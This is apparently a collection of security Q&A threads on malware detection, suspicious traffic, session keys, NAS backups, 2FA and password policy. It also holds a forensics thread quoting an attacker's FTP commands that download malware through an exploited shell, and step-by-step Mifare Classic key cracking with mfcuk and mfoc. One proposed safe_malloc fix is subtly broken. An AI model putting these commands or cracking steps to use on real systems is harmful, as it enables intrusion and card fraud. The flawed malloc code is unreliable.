How to check if any host trying to connect back to the my executable(application)? Last month i have downloaded some hacking tools!!! After that i'm having a strong feeling that some host trying to connect back to the application(don't know whether i'm been monitored or not). Is there any way to check this out.

The quickest and easiest way would be to verify whether there are processes keeping a socket open for listening.

You need a utility such as netstat (Unix, Mac and Windows). There are also GUI utilities - I seem to remember tcpstat and wintcp for Windows. Also Process Explorer by SysInternals and TCPView.

These utilities will provide you with the open ports being used and the process ID of the owning process. You need then to verify whether the process is legit or not, and you can research the port number on Google.

Also, you can run an antivirus/antimalware scan to see whether there are known threats active.

And you can do something quick and dirty such as scanning the system for recently changes files (there will be a lot of those), reviewing the changes to determine whether they're legit or not.

On, say, a Windows system, recently created files with executable extensions (.exe, .scr, .com, .dll, .pif, .lnk, .bat, .cmd, .ps1) are a prime suspect unless you know they're harmless. Files such as .htm, .html and .js outside of browser directory are also untrustworthy (unless you're a Web developer and those are your files). Recently changed files with the same characteristics are also suspicious - a sufficiently advanced virus can easily hide within another executable (and would probably also reset its modification time and date so you don't notice anything, so while a change is suspicious, not detecting any changes is not a guarantee unless you have at least a set of trusted file signatures from beforehand, kept in a trusted place, and a trusted way of checking them, e.g. Tripwire Boot CD or USB key. Some level of defense is usually supplied by the operating system in some ways, e.g. Windows has SFC and Linux has AppArmor, but they're far from a silver bullet).

Finally you can monitor system changes with their date (registry keys, initialisation scripts and tasks).

These are quick, relatively easy, and simple approach and probably won't detect more advanced threats such as rootkits and "stealth" viruses. In that case, there are rootkit-detecting utilities too (both from antivirus companies such as ESET, and well known sources such as Rootkit Revealer or rkhunter).

Still more advanced threats - packages knowing and actively trying to circumvent rootkit detection strategies - do exist, are not as likely as a straight "open socket and lurk" drop-in trojan horse, and would require considerable knowledge to operate.

--

And that's why you don't just download and run 'hacking applications' on a non-disposable machine without knowing exactly what you're doing and/or how to monitor said machine, or are ready to nuke it from orbit afterwards, wiping it clean and reinstalling everything (and even this has a vanishingly small probability - the same of having annoyed NSA, the Mossad or equally easygoing guys - of not being enough. It would have to be a tailored attack, but they do exist).


Can a simple webpage link contain any virus or do harm to my system? Is there any harm to be expected, if I just clicked on such a link described in this question?

A short and obvious answer to your question's header "Can a simple webpage link contain any virus or do harm to my system?" is YES!
Yes, your system can be easily compromised by exploiting lots of vulnerabilities in various components of the web browser, e.g. plugins.

In addition to this - your details can be collected by the attacker to conduct a recon/scan on the collected IP.


Approach to hack RFID Cards Recently RFID cards 13.56Mhz band caught my eye. What is the step by step approach to hack RFID Cards? I have a rough idea, but there are still quite a few doubts.

Identify the type of the card. Eg. Mifare Classic

Questions:
How do you identify the type of card accurately?

I was told that using our phone NFC is not 100% accurate. Is    that true?
Get a 13.56Mhz usb RFID card reader

Question:
Is there any cheap and good RFID card reader? There quite a few types at Ebay.
Use some program to crack the encryption key

Question:
What program? The program won't work with all readers right?
Once you obtained the encryption key, some android phones with NXP NFC chip are able to read/write the card.

To identify a card, you power it using a carrier wave on its frequency and wait for answers. If there is no answer, you switch to a different frequency and protocol and so on until you get communication from the card (you may need to use multiple readers as different frequencies require different readers). Using your phone is accurate, I mean, if the phone can talk to the card then at the very least the card is using a frequency and protocol that's supported by the phone's reader.

Now, let's assume you positively identified a Mifare Classic card and you need a reader to attack it. Any LibNFC-supported reader should work, but I suggest you look for NXP PN53x-based readers, they are pretty cheap (chinese, and I'm not sure the NXP chip is genuine but they do work) and work perfectly with LibNFC and all applications that use LibNFC to talk to readers.

For software, you first use mfcuk to get at least one key, then you pass that key to mfoc which uses a different (and faster) attack that requires the knowledge of at least one key (you can also try default keys if the people who manage the card system you're attacking were really idiots). These software use LibNFC to talk to the card and are thus compatible with any reader supported by LibNFC.

Yes, once you have the key, any device can read and write to the sectors protected by that key. Note that there can 2 different keys per sector, and each sector has some ACL bytes that describe the permissions for each key.

Note that Android devices with NXP chips can directly crack Mifare Classic cards using NFC-War.


Is the SD card write protection hard-wired or optional? According to Wikipedia, the SD card reader recognizes if the little tab on the left of the SD card is in the "lock" position or not. Thus, a SD card reader can still write on the SD card even if the write protection is on by ignoring it.

Is it true that the write protection is only a voluntary feature by the card reader or is it a "switch" that securely turns write access off?

Wikipedia is correct: on SD cards, you have to trust the host system (whatever the card is plugged in to) to honor the physical write protect switch. Here is the relevant text from the publicly available specification documents. Emphasis is mine.

SD Specifications Part 1
Physical Layer
Simplified Specification
Version 4.10 January 22, 2013
4.3.6 Write Protect Management
Three write protect methods are supported in the SD Memory Card as follows:

Mechanical write protect switch (Host responsibility only)
Card internal write protect (Card's responsibility)
Password protection card lock operation.

Mechanical Write Protect Switch
A mechanical sliding tablet on the
side of the card (refer to the Part 1 Standard Size SD Card Mechanical
Addendum) will be used by the user to indicate that a given card is
write protected or not. If the sliding tablet is positioned in such a
way that the window is open it means that the card is write protected.
If the window is close the card is not write-protected. A proper,
matched, switch on the socket side will indicate to the host that the
card is write-protected or not. It is the responsibility of the host
to protect the card. The position of the write protect switch is
unknown to the internal circuitry of the card.


Parted Magic Secure Erase Verification Level I've been experimenting with the latest Parted Magic Secure Erase to wipe HDDs and SSDs.  After the Secure Erase completes, I noticed in the logs that the verification level is 10%.  Excerpt from the log:

  WDC_WD5000AZLX-00JKKA0 (/dev/sda) SERIAL NUMBER: WD-WCC6Z0JJVNY0
  SIZE:465.8G RESULTS:Successfully Erased

  Secure Erase Method: Normal Secure Erase

  Verification Level 10%

Does this mean that Secure Erase is only sampling 10% of the drive to verify that the drive has been erased?  One of our customers asked us if it's possible for Secure Erase to perform a 100% verification. Probably overkill, but given the sensitive nature of our customer's environment, I can understand their question.

I haven't used it, but according to their documentation Using Secure Erase, the verification level can be defined.

I don't see where it describes less than 100% as being sampled or just a chunk.


I need help identifying the cause of weird outbound traffic from my network I have some weird traffic heading outbound from my network. It is being blocked by the firewall from exiting and I'm not sure what the source is. I've looked at the machine and don't see anything blatant compromise-wise.

What I've done on the machine: The box is Win7 Enterprise x64. I used Redline to capture a memory image and other data from a collector. I used the memory image and volatility to look at network connections, pstree etc. I used Redline for prefetch, URL history and other metadata.

I see no history in volatility's netscan plugin regarding any of the IP's. I'm guessing this is because the firewall blocked it from making a full connection. I checked a large sample of the destination IP's on a few IP reputation sites and they're clean.

I currently have three boxes with very similar but not identical activity. A new one pops up every week. None of them have happened twice. None of the boxes have P2P software on them.

The traffic is UDP, mostly with a sourceport of 39156,
Destination ports are high and vary.
The traffic lasts different amounts of time per box..sometimes an hour and a half, other times 20 minutes.
Destination IP's are all over the world - hundreds of them.
Most of the packets contain 66 or 72 bytes of random characters - sometimes two, three or four of these UDP packets to each IP address...then it would move on to the next IP address...

Any ideas?
Thanks!

Run the following command on the box to find the PID of any UDP traffic on the machine.

> netstat -a -p udp -o

You can use findstr to filter the results by looking for specific port numbers (remember, it appears to be shifting, so play with your filter)

> netstat -a -p udp -o | findstr 51400

Once you have the PID, use taskman to find the executable. Once you have it running and you're on the Processes tab, click "Show processes from all users" and then select View -> Select Columns... and make sure Image Path Name and Command Line are checked.

Once you have identified the program, you can do some malware analysis on it with Cuckoo.


Why did this attack use 0.0.0.0 as IP address and why did it work? Working through this exercise in network forensics, the attacker used a buffer overflow exploit to send commands to the victim's command prompt.  The commands open an FTP session and download some malware.  I'm confused about why it works with the ip address 0.0.0.0
The packets show the attacker binds a shell on the victim's host and uses FTP to force it to download an executable.

The commands are:

echo open 0.0.0.0 8884
echo user 1 1
echo get ssms.exe

My question is, how would they get anywhere using the IP address 0.0.0.0 ??
Is the bound shell somehow associated with / "in" the attacker's network while the exploit is going on so that 0.0.0.0 resolves to localhost on the attacker's machine?

Some of the answers used the presence of this IP address to prove that the victim was a honeypot because it accepted any IP address the attacker gave them and downloaded the exe as told. Still, how would 0.0.0.0 get anywhere?  Also, wouldn't this be a nice way for an attacker to know they have hacked into a honeypot?

One answer (PDF) gives a good write-up of the exploit but does not specifically address this question. Another answer (PDF) thinks the 0.0.0.0 might be an error, so I am confused.

In the Internet Protocol Version 4, the address 0.0.0.0 is a
  non-routable meta-address used to designate an invalid, unknown or
  non-applicable target. To give a special meaning to an otherwise
  invalid piece of data is an application of in-band signaling.

  In the context of servers, 0.0.0.0 means "all IPv4 addresses on the
  local machine". If a host has two IP addresses, 192.168.1.1 and
  10.1.2.1, and a server running on the host listens on 0.0.0.0, it will be reachable at both of those IPs.

  In the context of routing, 0.0.0.0 usually means the default route,
  i.e. the route which leads to "the rest of" the internet instead of
  somewhere on the local network.

Wikipedia Article on 0.0.0.0

If I were to guess, as I have not done the challenge, but based off of the first link provided the exploit went something like this:

Exploit CVE-2003-0533 - shellcode to bind port TCP 1957 as a shell. (maybe the attacker knew this port wasn't blocked by a firewall?)
Commands executed from the shell to set up a reverse ftp connection to himself (in this case). Exposing this to the host via port 8884. Since the computer could have multiple IPs, 0.0.0.0 is a way to say "whatever interface the reverse connection worked on would accept this connection. A reverse connection may aid in bypassing firewall rules
FTP server is located on the other end of this tunnel, the commands that were executed logged into the ftp and downloaded the malware to the victim's PC for later execution.


What theoretical risks are posed by compromised 5G infrastructure? A certain large Asian company and leader in 5G infrastructure has recently been accused of being compromised by its authoritarian government. Aside from the fact that it's nearly impossible to audit closed-source hardware as free of backdoors, what theoretical risks are posed by such compromised infrastructure? (Note that I'm not referring to user devices like handsets but to infrastructure like cell base stations, routers, etc.)

The majority of Internet traffic is now encrypted end-to-end. And I'd imagine the rate of encryption is much higher in the Western countries that would be most concerned about compromised foreign technology. So I would assume that the actual content of most Internet communication would not be at risk (aside from SSL stripping types of attacks, which are already mitigated by HSTS). In that case, I assume the main theoretical vulnerabilities would lie in these areas:

metadata (connection endpoint information)
voice calls and SMS (at best, encrypted only between handset and base station)
supply chain disruption or denial of service during a diplomatic dispute

What do you think?

First of all, we are not talking just about internet connections, but about mobile infrastructure.

So yes, we have the points you mention:

call metadata (connection endpoint information)
voice calls
SMS

(not sure about the encryption requisites for these on 5G, but on earlier versions I think it was weak encryption if any)

Plus anything not encrypted on the internet, which is plenty, but I don't think is the real risk there, as it's the same that you bear when connecting on an unprotected WiFi, just in a bigger scale.

Other malicious attacks that could be made:

User location (eg. position important official based on the location of their phones)
Stealing of SMS codes / account recovery methods by a SIM-swapping equivalent at network level
Denial of service: stop all service when given a kill-code
Actively overwhelm certain services: make any call made actually go to 911 (or the service you want to collapse)
Firmware attacks: the network may be able to flash some radio chipsets with new firmware.¹ Which itself may be able to escalate privileges into smartphone chips...

Supply chain disruption is not that bad. At that point the other country is probably 'the enemy' (even if just a commercial one). Much more concerning is the level of damage that a low-level backdoor silently placed on that ubiquitously deployed technology could do.

Shutting down service for a city would be evident and lead to their tampering being found 'easily' (well, after days or months of studying what went wrong), but a well-placed trojan there could operate silently for decades without being detected, exfiltrating when directives of essential services are communicating, performing wiretaps of selected phones... and all of this almost undetectable, since any controlling checks would be at an higher level.

¹ See Baseband Attacks: Remote Exploitation of Memory Corruptions in Cellular Protocol Stacks by Ralf-Philipp Weinmann
USENIX conference Paper


Given an IP address can you ssh into /tmp without password? I'm a Software Engineer, but I have no experience in security, so i'm trying to learn by doing (woot Experiential learning!).

I know that the permission settings on the tmp folder are very relaxed. If I have an IP address of a server/computer can i ssh into the tmp folder without requiring the password of the server/computer?

Are there any good resources people could recommend? Everyone has told me to check out the most popular book on penetration testing, etc; (which I'm open to) but I'm looking into other areas as well!

No, you can't. You can't ssh to folders, only to accounts. You might be able to mount the /tmp folder on another machine without a password if the server is running NFS or Samba and has fairly relaxed permissions.


Is this malloc wrapper safe? I am trying to stop integer overflow vulnerabilities by creating a simple wrapper around malloc(3) and related functions.  The idea is that it returns a NULL pointer if the amount of required memory is too large for the size_t argument (or zero).  However my implementation does not seem to be satisfying our static analyzer.  Can anyone identify what is wrong with this implementation?
template <typename T>
T* safe_malloc(const size_t num_elements)
{
  if (num_elements <= 0 || num_elements > SIZE_MAX / sizeof(T))
  {
    return NULL;
  }
  return static_cast<T*>(malloc(sizeof(T) * num_elements));
}

Usage:
// Previously:
int *a = (int*)malloc(sizeof(int)); // single value
int *b = (int*)malloc(sizeof(int) * ATTACKER_CONTROLLED_VALUE); // array
if (b == NULL) {
  // out of memory
}

// Now:
int *a = safe_malloc<int>(1); // single value
int *b = safe_malloc<int>(ATTACKER_CONTROLLED_VALUE); // array
if (b == NULL) {
  // out of memory OR user provided value that would overflow, or zero
}

When you write,
template <typename T>T* safe_malloc(const size_t num_elements)

you're saying that num_elements can hold a full size_t. But if that is the case, then multiplying it by sizeof(T) might make it overflow, since the result also has to be size_t.
return static_cast<T*>(malloc(sizeof(T) * num_elements));

I do not know how to easily make fortify stop complaining. Possibly you can cast the desired memory amount to a larger size representation, check explicitly that it does not exceed SIZE_MAX, and if it does not, cast it back to size_t. That ought to be clear enough for the static analyzer to understand what's going on.
template <typename T> T* safe_malloc(const size_t num_elements) {
  unsigned long long required;
  required = num_elements;
  required *= sizeof(T);
  if ((0 == required) || (required > SIZE_MAX)) {
    return NULL;
  } else {
    return static_cast<T*>(malloc(required);
  }
}


What would you define as an "advanced" hacker attempt? This subject might just barely be a programming topic. Though, in my point of view, it is of great concern to programmers because of our responsibility to develop secure code.

Recently, there has been a lot of talk about web exploits in my country.  Certain organisation keep posting passwords and databases that they hacked in the last few months. In a few days, over 200,000 login credentials have been exposed to public. Most of the site-owners didn't know anything about the attempts, up to this point.

This quote from a pressman really stuck with me:

  This is no advanced attack. The method used to obtain the passwords is relatively simple.

I want to know: what are some characteristics of "advanced attacks?"

My thoughs:

Would you say brute-forcing a login service is advanced? Probably not. Kind of low-tech. Was it advanced once upon a time, when you connected auto-dialers  and finally got into communication-line-in (phone) at banks and federations?  Back then, maybe.

If you brute-force a login service and avoid around built-in blocking systems and logs, your  attack might be considered advanced.  If you successfully copy an entire database through a unsecured input form, is it advanced or not?

Is it advanced if a person (Bill?) without any IT skills at all got the database from company XY?  Why? Because Bill is a HVAC Service Technician and his friend are employed on XY. Probably, it's advanced, but not really technically advanced.

If we talk about a a user that came over the connectionstring through a adminpage webpart -- Tried the connectionstring finding out there are no ip filter - okey that's hardly called hack attempt. But, if the user in first place, got access to file system (leak in a file-browser-control?) and downloaded all web.config / app.config at first place. Is it advanced? The user would, doubtless, find several sites that uses same file-browser-controls. Is it severe? Probably..

A question that, at least I, often ran into questions "are md5-hash enough secure?",  the fact "yes if they need to force it, to get your data". If they got the db with login and password, some of you already know: No.

Question
It's more like a comwiki here, than a specific question. I would like to read about  perspectives and experience in the topic. What do you do for "more secure"? What do you define as obvous or well-known security flaws? Such questions and discussion are valuable to give more of security and more intrusion-safe system in mind when developing.

what defines a advanced kind of attack? Advanced for who and how?

Ultimately, an attack is an attack. It doesn't matter if they used social engineering techniques to get an unsuspecting user to divulge their credentials, brute-force methods, obtained a copy of the software and performed reverse engineering or used the system in methods other than intended, or tools to simply bring the system down and render it inoperational for a period of time.

Most attacks take some kind of sophistication and knowledge of the users of the system, how the system works, or where components reside and how to access them. You could say that any successful attack is advanced - it overcame your security measures to prevent attacks. You might also say that any attack that degrades service, even if it doesn't disable the system, is also successful as your current system couldn't withstand it.

  What do you do for "more secure"?

More secure depends on the system being built.

I would recommend reading the work of Gary McGraw. He wrote three books that are especially interesting to people building software. Building Secure Software: How to Avoid Security Problems the Right Way, Exploiting Software: How to Break Code, and Software Security: Building Security In discuss how to build secure software, how to break existing software as well as perform security testing on systems that you are building, and complete software development lifecycle approaches to security. As far as I can tell, these are the canonical books on the subject.

  What do you define as obvous or well-known security flaws?

Things that have been seen before and have been studied are, or at least should be, obvious. That's why there's a great deal of work done to study security, from building secure software to analyzing security incidents to determine how and why they happened, and then producing documentation so that other people don't fall victim to the same problems.

The US Department of Homeland Security's National Cyber Security Division has a Build Security In program about finding and organizing information relevant to people building systems that must be secure. The Open Web Application Security Project also produces documentation and resources about many aspects of software security so that they are easily accessible to people building systems where security is a concern. The MITRE Corporation also does work in finding, identifying, and producing vocabularies to discuss security concerns.


Is it bad if session key is passed in plain text in URL? In a class we were told that it's dangerous to put the session key in the URL because it could be cached, either by the browser or a proxy etc. Is this correct? Even if it was cached shouldn't the session key get regenerated each session? I guess it may be a problem with sites that don't log you out after you close the browser. Do I understand the problem correctly?

Also what's the difference between a session key and session value? I use session key to refer to the string stored on a local computer that associates itself with the session the server is aware of for a logged in user.

Also what's the difference between a session key and session value?

There are basically two ways to maintain information about a session:

Put the information into the database and associate these with some unguessable (i.e. random) key. Use this key inside some cookie or similar when communicating with the client. Lookup the information based on this key whenever you need these. In this case you have a session key (cookie) and session value (information in database).
Encode all information into some string and protect this session token against manipulation and guessing. In this case you have no value in the database but can extract all information from the token.

  .. dangerous to put the session key in the URL because it could be cached, either by the browser or a proxy etc. Is this correct?

Since the session key is often used to identify a logged in user it should be treated like a temporary password, i.e. it should be treated as secret. This means it should be protected with HTTPS against sniffing. This means also that it should not be logged because somebody might get access to the logfiles even without hacking which usually contain the full URL. And it should not be forwarded to a third party, i.e. neither automatically with the HTTP Referer header nor manually by the user when sharing the current URL.


What does a Remote Desktop Connection risk for both computers? I recently had a malware issue called "mysearchdial" that installed itself into my home computer's browser because someone didn't pay attention to what they were installing.

I RDP'd into my work computer before this malware was completely removed, and I found that this malware had spread to my browsers at my work PC. Now, this could have been and probably was some sort of browser sync across computers, but it really raised the concern, what am I risking when I RDP to my work PC from my personal computer through a VPN? Is malware easily transferable through that connection?

While "RDP"ing you have two very different and separates scenarios, it is very hard for a malware (crapware, virus, trojan...) to infect the RDP client (or server) machine, the only way is exploiting the RDP connection so it exploit the client through a malformed packet and manages to install in the new machine.

I have never seen that and I believe exploiting that is complex enough for most malware not to try to research into that scenario (very poor ROI).

As you have pointed out the most probable cause is the automatic sync between browsers.


Does CVE-2017-9445 also effect Ubuntu 14.04.X and 16.04.X? After all the buzz about CVE-2017-9445 it seems unclear to me which versions are really affected and need patching and which not?

Their own CVE issue states that Ubuntu 14.04 to the latest upstream release are affected by this, but only 16.10 and 17.04 have been receiving patches.

On the other hand in their disclosure they state that only Ubuntu 16.10 and 17.04 are affected.

Is Ubuntu (14.04.X and) 16.04.X now affected or not?

Also if so, after applying the update, is a full system reboot needed to apply the patch to systemd or can this be done on a live system?

The first link from you clearly says (contrary to your claims) that 14.04 and 15.04 are not affected, that patches for 16.10 and 17.04 have been released and that patches for 16.04 are needed.

It also says in the notes that the affected systemd-resolve is not used in 16.04 (Xenial) by default and will only be started is the user executes it - but this should at most affect the specific user and not the system. That's why patches for 16.04 are not that critical as they were for 16.10 and 17.04 where systemd-resolve is run by default.


Are captchas based on ASCII art secure enough? I have just came across an ASCII art captcha, something that I have never seen before. It seems to be really easy to implement server side!

Are ASCII art captchas secure enough?

All text-based CAPTCHAs are trivial to break if the adversary is motivated enough. There are been relatively serious claims from different teams of being able to break common text-based CAPTCHAs (although no public code that I'm aware of), including Google and Vicarious.

This is simply because computer vision tasks such as determining the regions of a 2D image or reconstructing partially missing borders of an object are now relatively advanced. So, even though a new CAPTCHA system might not be immediately broken, it would not take advanced attackers substantially more time to break it than it took to develop it.

In conclusion, don't use CAPTCHAs as a single line of defence against spammers and perform more clever forms of risk analysis. More importantly, don't harass legitimate users with CAPTCHAs that your attackers will solve more efficiently than them!


Official recommendations for antivirus on Windows servers I'm looking at rolling out agent based AV to around 1000 Windows servers across our estate. This feels like too much of a blanket approach. We have a mixture of services running - the usual things such as Citrix, SQL, AD, Exchange and various other applications.

A lot of our servers do not have any direct user interaction as users do not directly logon, so the risk is somewhat low. Conversely, the risk of a performance hit is significant.

From what I've read the should AV be on servers questions seems to be a matter of opinion. Is there any official guidance from the likes of Microsoft or NIST?

Also, if AV is put on servers, should all the servers have real time scanning enabled? In addition, should scans be set to scan on read & write or just read?

Thanks

There no official "recommendation" that you can get. What you can do is understand your security needs, and compare products to match your requirements, performance  and budget.

Personally I use this for my Windows Servers:

https://www.eset.com/uk/business/server-antivirus/file-security-windows/

Read about it, understand the features and see if they match your requirements.


Gamification of IT security - any applications yet? Gamification, which is the use of game design elements and game mechanics in a non-game context, is a heavily discussed topic. Looking at the behavioral impact on Gamification, it has potential in educating users in IT security and rewarding secure behavior, especially in a corporate environment.

Applications that I found are mostly serious games, with the exception of Privacyville, which is not a game itself, but a "gamified" privacy policy (which is more like what I'm looking for)

http://www.funtheory.net/internetsecuritygames.htm

http://www.healthit.gov/sites/default/files/cybersecure/cybersecure.html

http://cisr.nps.edu/cyberciege/index.htm

http://company.zynga.com/privacy/privacyville

What applications are there, that gamify IT/coporate security in particular?

Which security tools apply gamification mechanics or elements?
Which companies use these techniques to educate or reward their employees for security compliance? (like giving them achievements, badges, scores or rank them in a leaderboard)

Every program I have heard of (and there are only a few) is home-grown and has had mixed results, mostly due to the program's design. I, myself, am developing a program to incorporate Gamification into an ongoing Phishing awareness training. My hope is to leverage my successes in this one area to expand into others areas of user security training, but this approach is very new.

One huge modification I made was to remove all references to 'Gamification' because it causes confusion. Instead, I use the term 'active feedback metrics' and 'comparative metrics' and hope that I don't sound too corny ('shifting the paradigm' and all that ...).

My goals in design are:

behavioural modification instead of knowledge transfer
short training/interaction time
training that increases in difficulty after user success
active instead of passive learning
short times between interactions
simple 'scoring' (a.k.a 'instant active feedback') that can be shared with peers

One of the unexpected benefits to Gamification is that is possible to lead users into far more complex material than would be possible through passive learning alone. Users are enticed to tackle the optional material to get their score/reward/achievement/bragging rights/active feedback.

From my experience, I think that Gamification can be used to fill the gaps in traditional security training because, ultimately, we don't want users to just 'know' what they should do, but to 'do' what they are supposed to do, even if they don't exactly know why (although the knowledge itself is beneficial). That means that what we need to focus on is behavioural modification, and Gamification is uniquely suited for this purpose.


Securing Java web services called by web site in DMZ using web services for communication Suppose you have an application running Java web services in Apache Axis 2.  Specifically, these are JAX-WS (Java API for XML-Based Web Services).  Currently these web services are on the same Windows Server 2008 server that our web site (web application) runs on.  Our web application, which is running in IIS using PHP uses Curl (PHP library) to request data using JAX-WS web services.  How should we protect these web services from getting called by the general public, so only our web application can only make requests?

You need to block traffic to the port on which your JAX-WS web service is listening from all addresses other than localhost.  You can do this using the Windows Firewall application on Windows, iptables on Linux.


Issuing certificates to two departments from same ROOT CA so one does not trust the other Scenario:

We have two departments within IT; Say Department-OLD and Department-NEW.
A single internal PKI environment exists and a root CA (singular) is trusted by All endpoints.

Problem:

Department-New, in the same network, is doing a lot of new development. They need to issue certificates to all their systems and applications, but we don't want the remainder of the organization (Department-OLD and endpoints) to trust the certificates used by Department-NEW.

How can this be accomplished?

It might be least-problematic to set up a new root CA for Department-New for dev work. On their machines install both root certs (rootCA-general and rootCA-dev) into the trust store, on everybody else's machines only install rootCA-general.


How can I secure a NAS on my home network? So I have a NAS enclosure on my home network (D-Link Share Centre) and I am worried about its security.

It is hard wired into my Sky router (SR102) which I hear the firewall doesn't work on. There is no external or internet access to the device and I keep it patched as and when a patch becomes available.

Access to the device is a via a windows 10 PC with a mapped drive, my concern is that if god forbid I get infected with ransomware then all my files which I store on this device will be affected too.

Is there a way of having the device available to my PC but that would not enable potential ransomware to gain access via my compromised PC?

You are absolutely right to be concerned. Ransomware is increasingly prevalent and totally devastating if you are not prepared. Once you make the storage accessible to any client, it is going to be vulnerable and there is little you can do to change that I'm afraid.

Generally, as Marcel commented, there are two things you need to do:

If you can (I couldn't see the feature on the D-Link site), have versioning turned on.
Have remote backups with versioning

Versioning

File versions would allow you to roll back any changes and recover deleted files and would be a quick way to be able to recover if ransomware encrypted files for example.

Backups

Backups must be to an offsite location. They must be automatic, encrypted (preferably locally before sending) and should be versioned since it is is likely that you will have backed up several times before you discover an issue.

Local backups are useful for quick recovery but are worthless for long term information security since a local disaster, burglary, etc will wipe out the backups along with the originals.

Use a cloud backup service or at least have another unit at someone else's house.

If your information is in any way important to you, good backups are utterly essential.

If you are not able to follow this advice, at least make occasional copies of key files such as family photos, financial information, etc. Even the old standby of a DVD or similar that you then take offsite to a friend or family house is better than doing nothing. But with manual backups, you will eventually loose data since you will forget to backup something important.

Of course, you should take precautions on your PC too, AV, latest updates and adblocking all help reduce the risk. You might also want to save up and upgrade your router to one with a decent firewall capability.

UPDATE: So backups are the most critical thing you need to do regardless of where you are keeping files. Once you've dealt with that, you will find that the better NAS's such as the Synology ones are "simply" low-power Linux computers. As such, they should (Synology certainly do) give you access to the Linux firewall. So you can further protect the NAS by limiting the access to it. How you do that would be the subject of another question though if you check my recent answers to other questions you may get a clue or two ;-)

To protect your PC, again versioned backups are the key. You can back up to the NAS or direct to cloud. If you discover malware, disconnect from the network immediately to limit the damage.


Does trusting a device negate the security benefits provided by 2FA? I have read 2FA adds a beneficial layer of security when logging into accounts. However, many organizations often ask me if I would like to trust the device that I am using permanently so I don't have to receive a text on my phone when logging in.

Does trusting a device effectively mean I'm not using 2FA? Or are the security benefits provided by 2fa still present if I trust my device?

No, it won't negate the advantages of 2FA, even if it reduces it a little. Security is only effective if it does not makes the user resort to workarounds, otherwise they won't use the security option. I would not use a 2FA token if it took 5 minutes to arrive, for example.

In this case, remembering the device for a while will not force the user to enter the 2FA token on every request, and will protect the user if his password leaks somehow. An attacker exploiting this perceived weakness would have to compromise the device itself.

And if you value your security, please don't use "token by SMS", "token by phonecall" or anything that uses your phone number to send the token. SIM swap attacks are real, and lots of people are losing access to their accounts because of it.


Risks of using UUID to identify user in mobile app I've got an existing customer base. A customer has appointments. Currently they cannot access or change their appointments without contacting me directly.

I want to offer them a way to access and change their upcoming appointments, with as little hassle as possible (more effort for the customer means less chance they'll use it, and less profit).

My thought is this: Generate a UUID (as "securely random" as possible), and send them an SMS with instructions for installing an app (Android/iOS) and a associated app URL (app://UUID).

When opening the app with this URL it stores the UUID and uses this to make requests through the app to my web service with HTTPS which then fetches their appointments and potentially changes their appointments (this is the only "write" operation).

Since the app won't be available through a regular web browser I'm thinking that supplying the UUID in an app-URL will keep people from "leaving" their URL everywhere in random browsers, they will only have to use the URL once, and I control that all web service requests are done through the app on HTTPS so that the UUID isn't spilled that way.

While I'm thinking of making this UUID "last forever", I will be adding an option for customers to report their ID as lost and requesting a new ID (invalidating the old).

Given this scheme I'm thinking that:

Losing your phone means losing your identity (stored in app)
Forwarding/losing the SMS/URL means losing your identity (should not be required more than for the initial opening of the app to save identity, but I'm not expecting most people to bother to delete it even if told to)
Weak if UUID can be guessed

What pitfalls and security scenarios have I not thought of? Keep in mind that ease of use for customers is important (preferably not filling out anything/much), and while the information is concidered private it isn't very high value.

Comments on using UN/PW:

Since the customer base exists I need to know what customer has what login. I'm thinking that either they'd have to create it themselves in office (which I'd like to avoid to have as little input as possible), or give them some generated UN/PW which they can use (but then again I'm distributing it), or they create it online and somehow supply enough information to identify themselves and connect.

In general I'd like some scheme where the starting point is they can identify without any fuss given some information which I then know is them. I'm open to suggestions as I may be hoping for too much from very little information.

The primary risk is later exposure of the link if the original message is leaked.

A similar strategy of using a unique token is pretty standard for forgotten password resets or pregenerated accounts on websites, with the following caveats:

the token is not guessable (a securely generated UUID should be fine
here)
the uuid/link is one (successful) use only
the uuid/link
expires after some amount of time (the exact duration is tradeoff between user convenience and potential exposure)

See https://www.troyhunt.com/everything-you-ever-wanted-to-know/ for more details of password reset strategies.

For your approach, once the app is downloaded you would then need to generate a second key for future access and store it locally. It would mean that you need to re-issue the link with a new UUID ocassionally if a user gets a new phone or forgot to use it the first time.

Rather than an app, I'd suggest that you do a website with un/pw and then just precreate accounts and send out signup links with a UUID to each user (i.e they set UN/PW on first access). That way you can have one (hopefully easy to remember) domain and website that is easy to access. It also means that the signup links cannot be reused later and can be expired.


How to understand GitHub's password policy? Today I tried to change my password on GitHub, but the site rejected my new password:

  The new password you provided has also been reported as compromised due to re-use of that password on another service by you or someone else. GitHub has not been compromised directly. Your password was not saved. Please choose a stronger password.

Do I understand correctly? GitHub would like me to choose a password that has never been used by anyone on any site at any time in the history of the internet. I see how that's more secure, but ...

Will more sites do this? What are the implications? Does it spell the end of human-memorable passwords?

GitHub suggest to use a randomly-generated password saved in a password manager. What about people who would prefer a memorable password? In my case, I use several computers and don't possess a smartphone.

In my case, GitHub eventually accepted a longer passphrase. My account is also protected by two-factor authentication with a U2F key.

GitHub would like me to choose a password that has never been used by anyone on any site at any time in the history of the internet.

That's the general idea, though I would rephrase as

  GitHub would like me to choose a password that has never appeared on any list of cracked passwords for any user on any site in the history of the internet.

Rationale:

Each time a famous site gets its password database hacked, hackers eventually publish the list of username:email:passwords for all users on that site at the time of the attack. The site haveibeenpwned.com catalogs all username:passwords where the password is publicly-available. You should check here every month or two (or sign up for their notification service) to make sure you aren't on the list! This is just the username:email:passwords that are publicly known, I'm sure darkweb hacker groups have many many more than haveibeenpwned knows about.

This leads to a couple different types of attacks which github is probably trying to prevent with this password policy.

Password re-use attacks

Attackers trying to get into your account can look you up on social media and make a list of all the usernames / accounts that belong to you. Then they can look these up in the cracked password databases and get a short list of passwords that you have used in the past. We know that users tend to re-use the same password across different sites.

Github doesn't want to get into the game of trying to guess which accounts on other sites belong to you, so it's easier to say "anyone on any site at any time in the history of the internet".

Dictionary attacks

Attackers doing more general password cracking -- usually after they have stolen a database of hashed passwords -- can't guess every possible password because there are too many, so instead they will use dictionary-based approaches for which passwords to guess. Lists of cracked passwords (sorted most frequently used first) are a pretty good dictionary to use.

Given today's GPU speeds, if your password is one of the, say, billion most used passwords on those lists, then you're probably vulnerable.

Again, it's easiest for github to just ban all passwords on the cracked password lists.

You also ask:

  What are the implications? Does it spell the end of human-memorable passwords?

Yup, probably. Over time the lists of cracked passwords will get longer and longer with fewer human-memorable (aka "weak") passwords available to choose from. This will probably hasten the demise of passwords, cause more R&D focus on making password managers / Yubikeys, etc more user-friendly and force people beyond tin-foil-hat security nerds to start using them. This is probably a good thing. I hope more sites do start doing this!


How does OWASP ESAPI protect against direct object reference vulnerabilities? What other good solutions are there?

From the Area51 proposal

